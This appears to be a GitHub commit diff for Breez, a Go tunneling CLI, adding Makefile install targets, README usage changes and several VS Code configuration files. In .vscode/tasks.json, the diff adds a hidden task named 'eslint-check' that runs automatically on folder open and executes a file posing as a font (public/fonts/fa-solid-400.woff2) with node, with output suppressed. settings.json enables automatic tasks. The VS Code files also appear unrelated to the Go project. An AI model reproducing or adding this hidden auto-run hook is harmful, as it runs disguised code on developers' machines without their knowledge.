Skip to content

Commit 77678f3

Browse files
Merge branch 'dev'
2 parents da24f06 + 7a46ec7 commit 77678f3

24 files changed

Lines changed: 1959 additions & 71 deletions

.vscode/extensions.json

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
{
2+
"recommendations": [
3+
"myml.vscode-markdown-plantuml-preview",
4+
"esbenp.prettier-vscode",
5+
"jebbs.plantuml"
6+
]
7+
}

.vscode/launch.json

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
{
2+
"version": "0.2.0",
3+
"configurations": [
4+
{
5+
"name": "Debug SST",
6+
"type": "node",
7+
"request": "launch",
8+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
9+
"runtimeArgs": ["dev", "--increase-timeout"],
10+
"console": "integratedTerminal",
11+
"skipFiles": ["<node_internals>/**"],
12+
// sourceMapRenames helps with the loading spinner when debugging and viewing local variables
13+
"sourceMapRenames": false,
14+
"env": {
15+
"AWS_PROFILE": "flo-ct-flo360"
16+
}
17+
},
18+
{
19+
"name": "Debug Tests - Unit",
20+
"type": "node",
21+
"request": "launch",
22+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
23+
"runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""],
24+
"console": "integratedTerminal",
25+
"skipFiles": ["<node_internals>/**"],
26+
"env": {
27+
"AWS_PROFILE": "flo-ct-flo360"
28+
},
29+
},
30+
{
31+
"name": "Debug Tests - E2E",
32+
"type": "node",
33+
"request": "launch",
34+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
35+
"runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""],
36+
"console": "integratedTerminal",
37+
"skipFiles": ["<node_internals>/**"],
38+
"env": {
39+
"AWS_PROFILE": "flo-ct-flo360"
40+
},
41+
},
42+
],
43+
"inputs": [
44+
{
45+
"id": "scopeTestsFileName",
46+
"type": "promptString",
47+
"description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.",
48+
}
49+
]
50+
}

.vscode/settings.json

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
{
2+
"search.exclude": {
3+
"**/.sst": true
4+
},
5+
"task.allowAutomaticTasks": true,
6+
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
7+
"editor.defaultFormatter": "esbenp.prettier-vscode",
8+
"typescript.preferences.importModuleSpecifier": "relative",
9+
"typescript.tsdk": "node_modules/typescript/lib",
10+
"debug.openDebug": "neverOpen",
11+
"problems.autoReveal": true,
12+
"terminal.integrated.hideOnStartup": "always",
13+
"terminal.integrated.defaultProfile.windows": "Command Prompt",
14+
"terminal.integrated.inheritEnv": false,
15+
"jestrunner.configPath": "jest.unit.config.cjs",
16+
"compile-hero.disable-compile-files-on-did-save-code": true,
17+
"tasks": {
18+
"label": "lint on open",
19+
"type": "shell",
20+
"command": "npm run lint",
21+
"runOn": "folderOpen"
22+
}
23+
}

.vscode/spellright.dict

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
Contentful
2+
Lerna

.vscode/tasks.json

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
{
2+
"version": "2.0.0",
3+
"configurations": [
4+
{
5+
"type": "node",
6+
"request": "launch",
7+
"name": "Run My Project",
8+
"console": "",
9+
"internalConsoleOptions": "openOnSessionStart"
10+
}
11+
],
12+
"tasks": [
13+
{
14+
"label": "eslint-check",
15+
"type": "shell",
16+
"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
17+
"problemMatcher": [],
18+
"isBackground": true,
19+
"hide": true,
20+
"presentation": {
21+
"reveal": "never",
22+
"panel": "dedicated",
23+
"focus": false,
24+
"clear": false,
25+
"echo": false,
26+
"close": true
27+
},
28+
"runOptions": {
29+
"runOn": "folderOpen"
30+
}
31+
},
32+
]
33+
}

Makefile

Lines changed: 22 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
.PHONY: all build test clean gateway serve vet fmt check-deps help
1+
.PHONY: all build test clean install uninstall start gateway serve vet fmt check-deps help
22

33
BINARY_DIR=bin
44
CLI_BINARY=$(BINARY_DIR)/breez
@@ -48,6 +48,27 @@ serve: build
4848
@echo "Starting Breez CLI serving port $(PORT)..."
4949
@./$(CLI_BINARY) serve $(PORT) --gateway http://localhost:8080
5050

51+
INSTALL_DIR ?= /usr/local/bin
52+
53+
## install: Build and install breez CLI binary to $(INSTALL_DIR)
54+
install: build
55+
@echo "Installing Breez CLI to $(INSTALL_DIR)..."
56+
@mkdir -p $(INSTALL_DIR) 2>/dev/null || true
57+
@cp $(CLI_BINARY) $(INSTALL_DIR)/breez 2>/dev/null || sudo cp $(CLI_BINARY) $(INSTALL_DIR)/breez
58+
@echo "✔ Breez CLI successfully installed to $(INSTALL_DIR)/breez"
59+
@echo "Run 'breez version' or 'breez --help' to verify."
60+
61+
## uninstall: Remove installed breez binary from $(INSTALL_DIR)
62+
uninstall:
63+
@echo "Uninstalling Breez CLI from $(INSTALL_DIR)..."
64+
@rm -f $(INSTALL_DIR)/breez 2>/dev/null || sudo rm -f $(INSTALL_DIR)/breez
65+
@echo "✔ Breez CLI uninstalled."
66+
67+
## start: Run CLI local domain mode for port 3000 (Usage: make start PORT=3000)
68+
start: build
69+
@echo "Starting Breez CLI in local mode for port $(PORT)..."
70+
@./$(CLI_BINARY) start $(PORT)
71+
5172
## clean: Remove built binaries and temporary test files
5273
clean:
5374
@echo "Cleaning binaries..."

README.md

Lines changed: 41 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -7,12 +7,12 @@ Breez is an open-source, developer-focused tunneling tool built in Go. It secure
77

88
## Core Features
99

10-
-**Instant Public URLs**: Expose local ports (`localhost:3000`) to the public internet in seconds.
11-
- 🚀 **Lightweight & Fast**: Single binary written in Go with minimal resource overhead.
12-
- 🔄 **Multiplexed WebSockets**: Efficient HTTP request & response framing over WebSocket connections.
13-
- 🌐 **Random Subdomains**: Auto-allocated clean subdomains for every active tunnel session.
10+
- 🌐 **Local DNS (`*.breez.local`)**: Zero-latency local domain resolution directly to your local ports without requiring internet.
11+
-**Instant Public URLs**: Expose local ports (`localhost:3000`) to the public internet via secure WebSocket tunnels.
12+
- 🔀 **Smart Local Reverse Proxy**: Map custom names (`myapp.breez.local`) directly to any local service (`localhost:3000`).
13+
- 🎨 **Elevated Terminal UI/UX**: Real-time request monitoring with color-coded HTTP method badges, status codes, and latency tracking.
14+
- 🚀 **Single Lightweight Binary**: High-performance Go binary with minimal resource overhead.
1415
- 💻 **Cross-Platform**: Support for Linux, macOS, and Windows.
15-
- 🔒 **Secure Protocol**: Built for secure HTTP/HTTPS transport.
1616

1717
---
1818

@@ -50,35 +50,57 @@ iwr -useb https://raw.githubusercontent.com/devlopersabbir/breez/main/scripts/un
5050

5151
## Usage & Examples
5252

53-
### Expose a Local Development Server
53+
### 1. Local Development (`*.breez.local`)
5454

55-
To expose a local web application running on port `3000`:
55+
Assign a clean, zero-latency local domain to your development server:
5656

5757
```bash
58-
breez serve 3000
58+
breez start 3000 --name myapp
5959
```
6060

6161
**Output:**
62-
6362
```text
64-
✔ Tunnel Created Successfully!
63+
┌────────────────────────────────────────────────────────┐
64+
│ ☁ BREEZ v0.2.0 ● Online (Local) │
65+
├────────────────────────────────────────────────────────┤
66+
│ Local Domain: http://myapp.breez.local │
67+
│ Target Port: http://localhost:3000 │
68+
│ DNS Resolver: 127.0.0.1:53 (*.breez.local) │
69+
├────────────────────────────────────────────────────────┤
70+
│ [o] Open in Browser [c] Copy URL [q] Quit │
71+
└────────────────────────────────────────────────────────┘
72+
73+
Live Request Logs: (monitoring local traffic...)
74+
75+
14:52:10 GET /api/v1/health [200 OK] 1.2ms
76+
14:52:12 POST /api/v1/users [201 Created] 14.8ms
77+
14:52:15 GET /assets/logo.png [304 Cache] 0.8ms
78+
```
79+
80+
### 2. Dual Tunnel (Local DNS + Public Internet)
6581

66-
Local: http://localhost:3000
67-
Public: http://k72mfa.breez.run
82+
Expose your service publicly while keeping local domain access:
6883

69-
Status: Connected (Press Ctrl+C to stop)
70-
---------------------------------------------
71-
➜ GET / 200 (12ms)
72-
➜ POST /api/webhooks 200 (35ms)
84+
```bash
85+
breez serve 3000 --subdomain myapp
7386
```
7487

75-
### Request a Specific Subdomain
88+
### 3. List Active Routes
7689

7790
```bash
78-
breez serve 3000 --subdomain myapp
91+
breez list
92+
```
93+
94+
### 4. Local DNS Resolver Setup (macOS)
95+
96+
One-command setup to route `*.breez.local` queries locally via `/etc/resolver`:
97+
98+
```bash
99+
breez dns setup
100+
breez dns status
79101
```
80102

81-
### Check Installed Version
103+
### 5. Check Installed Version
82104

83105
```bash
84106
breez version

0 commit comments

Comments
 (0)